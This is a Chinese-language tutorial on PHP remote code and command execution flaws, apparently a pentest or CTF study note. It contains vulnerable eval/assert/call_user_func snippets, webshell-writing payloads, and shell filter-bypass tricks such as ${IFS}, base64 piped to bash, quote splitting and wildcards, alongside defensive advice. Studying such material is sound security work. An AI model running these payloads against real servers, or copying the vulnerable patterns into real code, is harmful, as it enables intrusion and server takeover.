PHP代码/命令执行漏洞

remote command/code execute远程命令/代码执行简称RCE。远程代码执行,不仅会出现在php也会出现在java,python等编程语言中。

远程代码执行漏洞的产生原因

  • 对用户输入过滤不严,用户可以通过请求将代码注入到应用中由服务器执行

php代码执行漏洞相关函数

eval

eval()将字符串当作php代码执行.必须以分号结尾.(但是eval不是函数)

Note: 因为是一个语言构造器而不是一个函数,不能被 可变函数 调用。

1
2
3
4
<?php
$code=$_GET['code'];
eval($code);
?>
eval_payload
1
?code=eval($_POST[a]);

assert

assert()会将字符串当作php代码执行,不需要以分号结尾.但是assert在php7中变成了一种语言结构,和eval函数一样,不支持可变函数调用.

assert() is a language construct in PHP 7, allowing for the definition of expectations: assertions that take effect in development and testing environments, but are optimised away to have zero cost in production.

1
2
3
4
<?php
$code=$_GET['code'];
assert($code);
?>
assert_payload
1
?code=fwrite(fopen('shell.php','a+'),'<?php eval($_POST[a])?>')

preg_replace

1
preg_replace($pattern,$replacement.$subject)

当第一个参数使用e修饰符,第二个参数的值会被当成php代码执行

1
2
3
4
5
<?php
$code=$_GET['code'];
$str=preg_replace("/\[(.*)\]/e",'\\1', $code);
$print($str);
?>
preg_replace_payload
1
?code=[eval($_POST[a])]

call_user_func

call_user_func()函数
call_user_func($callback,$parameter)
$callback是一个被调用的函数,其余参数是被调用函数的参数

1
2
3
4
5
<?php
$function=$_GET['fun'];
$parameter=$_GET['para'];
call_user_func($function,$parameter);
?>
call_user_func_payload
1
?fun=assert&para=fwrite(fopen('shell.php','a+'),'<?php eval($_POST[a])?>')

call_user_func_array()

1
2
3
4
5
<?php
$cmd=$_POST['cmd'];
$array[0]=$cmd;
call_user_func_array("assert",$array)
?>

$a($b)动态函数

动态函数$a($b)call_user_func()利用方法一样.

1
2
3
$a=$_GET['a'];
$b=$_GET['b'];
a($b);
call_user_func_payload
1
?a=assert&b=fwrite(fopen('shell.php','a+'),'<?php eval($_POST[a])?>')

array_map()函数

1
2
3
4
5
6
<?php
$func=$_GET['func'];
$cmd=$_POST['cmd'];
$array[0]=$cmd;
$new_array=array_map($func,$array);
echo $new_array;

防御方式:

  • 不使用eval等函数
  • 过滤
  • 更新php版本
  • 在php配置文件中禁用危险函数 disable_function=phpinfo…等函数,但是eval无法禁用,因为eval不是函数
  • preg_replace弃用/e修饰符

代码执行漏洞利用

  1. get_webshell
  2. print __FILE__ //获取当前文件的绝对路径
  3. print file_get_contents(‘C:\Windows\System32\drivers\etc\hosts’)读文件(能否读文件,具体还是得看web用户的权限)
  4. file_put_contents(‘文件名’,’内容’)写文件

命令执行

造成原因:

  • 过滤不严
  • 系统漏洞造成命令注入
  • 调用的第三方组建存在代码执行漏洞

危害:

  • 继承web用户权限
  • 读写文件
  • 反弹shell
  • 控制网站/服务器

命令执行漏洞相关函数

exec()

不会输出结果,而是返回结果的最后一行.

1
2
3
4
<?php
$a=$_GET['a'];
echo exec($a);
?>

system()

成功输出结果并返回结果的最后一行,失败返回False.

另外ob_start()这个函数也行..不过也是要system支持,如果system被禁用.也没得用

1
2
3
4
5
6
7
8
9
 
//注意,这个只显示结果的第一行,因此基本只能执行whoami
//ob_start:打开缓冲区,需要system函数开启
$a = 'system';
ob_start($a);
echo "$_POST[cmd]";
ob_end_flush();

echo "</pre>";

shell_exec()

函数实际上是反引号的实体(`),如果shell_exec被禁用了,反引号也是用不了的,不输出结果,返回执行结果.

passthru

直接将结果输出到浏览器,不返回任何值,而且可以输出二进制结果.

popen(command,mode)

使用command打开进程文件指针,将字符串作为系统命令执行,但是函数既不输出结果也不返回命名结果,而是返回一个文件命令指针.

command-需要执行的命令
mode(r/x) 规定连接模式,r只读,x只写

popen_payload
1
?a=echo ^<?php phpinfo()?^> > shell.php 

windowscmd里面的转义符号是^

其他

类似于proc_open,pcntl_exec,pcntl_fork这些。。

命令连接符

符号 系统支持 说明
| Windows&Linux 管道符
|| Windows&Linux
& Windows&Linux 不管右边的命令是否执行成功,都会执行左边的命令
&& Windows&Linux 只有右边的命令执行成功后,才会执行左边的命令
; Linux 执行完左边的命令后,执行右边的命令

防御

  • 减少命令执行函数的使用,并警用
  • 对参数进行过滤
  • 参数引号包裹
  • 更新php版本

命令和代码执行的本质

用了相关的函数,却存在可以被用户动态控制的变量。能被用户动态控制的变量,却不严格过滤用户的输入。

两者的区别:

  • 代码执行,执行代码执行的语句
  • 命令执行,直接执行操作系统命令
  • 命令执行,特殊的代码执行,只是执行的语句是具有执行命令能力的函数

一些绕过方法

Disable_functions

蚁剑有一个绕过disable_functions的插件

as_bypass_php_disable_functions

看了下主要使用的是以下几种方法,以后有空补充下手动绕过的内容。

LD_PRELOAD

PHP-FPM/FCGI

Apache Mod CGI

Json Serializer UAF

GC with Certain Destructors UAF

Backtrace UAF

PHP7 FFI

Linux的命令执行中当空格被过滤

${IFS}代替空格(bash)

类似于这个靶机的情况:Vulnhub-Dmv-1

使用${IFS}代替空格。

1
cat${IFS}1.php

<>重定向符代替

1
cat<>1.php
1
cat<1.php

(突破黑名单绕过)

拼接

假设目标禁止读取flag.php,则可以尝试

1
2
3
4
5
6
a=flag
b=.php
c=mo
d=re

$c$d $a$b

base64 编码

将解码后的参数传递给bash

1
2
3
4
5
echo 'cat flag.php'|base64
Y2F0IGZsYWcucGhwCg==

echo 'Y2F0IGZsYWcucGhwCg=='|base64 -d|bash
!!flag

使用反引号

1
`echo 'Y2F0IGZsYWcucGhwCg=='|base64 -d`

$()

1
$(echo 'Y2F0IGZsYWcucGhwCg=='|base64 -d)

使用单引号,双引号,反斜杠

1
2
3
4
5
6
7
8
c'a't flag.php 
!!flag

c'a't fl"a"g.php
!!flag

ca\t flag.\php
!!flag

因为可以这样输出命令,所以可以将命令写入到一个文件中去,再去执行要执行的命令。如果限制长度的话,则可以一次只写一点,再写进去执行。

1
2
3
4
5
6
7
8
9
10
echo \c\a\t\ f\l\a\g.php
cat flag.php

echo \c\a\t\ f\l\a\g.php >4

cat 4
cat flag.php

bash 4
!!flag

要注意的是引号要成对出现。并且单引号,双引号也能和``$()来配合使用

使用一个内容为空的变量名

没有赋值的变量,在bash中都是为空。比如

所以就可以使用这样的方法来绕过

1
c$3at fl${fff}ag.php

为什么$fff要用{}来包裹?因为如果不用花括号对fff这个不存在的变量包裹的话,这个语句就会出错,包裹起来是为了告诉bash,变量的名字是fff不是fffag

1
2
c$3at fl$fffag.php
cat: fl.php: No such file or directory

特殊符号的!和@也$()有相同的效果

1
2
c$!at [email protected]
!!flag
1
2
c$()at fl$()ag.php
!!flag

$* 也可以占位使用。

这一切都是基于这个变量名没有被使用。

如果该变量被使用了的会就会变成这个样子。

1
2
3
4
5
ca${x}t fl${v}ag.php
!!flag
x=1
ca${x}t fl${v}ag.php
bash: ca1t: command not found

通配符绕过

1
2
/???/?[a][t] flag.php 
!!flag

但是文件名被过滤的话,可以这样绕过.

1
2
3
4
5
6
7
8
9
10
11
12
13
/???/?[a][t] ?''lag.php
!!flag
/???/?[a][t] ?''?''ag.php
!!flag
/???/?[a][t] ?''?''?''g.php
!!flag
/???/?[a][t] ?''?''?''?''.php
!!flag
/???/?[a][t] ?''?''?''?''?''php
!!flag
/???/?[a][t] ?''?''?''?''?''?''hp
!!flag
/???/?[a][t] ?''?''?''?''?''?''?''p

但是如果有差不多相同(长度一样,后缀一样)的文件名的话,则会…

1
2
3
4
echo 'error'>1234.php 
/???/?[a][t] ?''?''?''?''?''?''?''p
error
!!flag

所以还可以这样使用

1
2
cat [f][l][a][g]?php
!!flag

关于linux下通配符可以看Linux文件名匹配

参考文章:

php中代码执行&&命令执行函数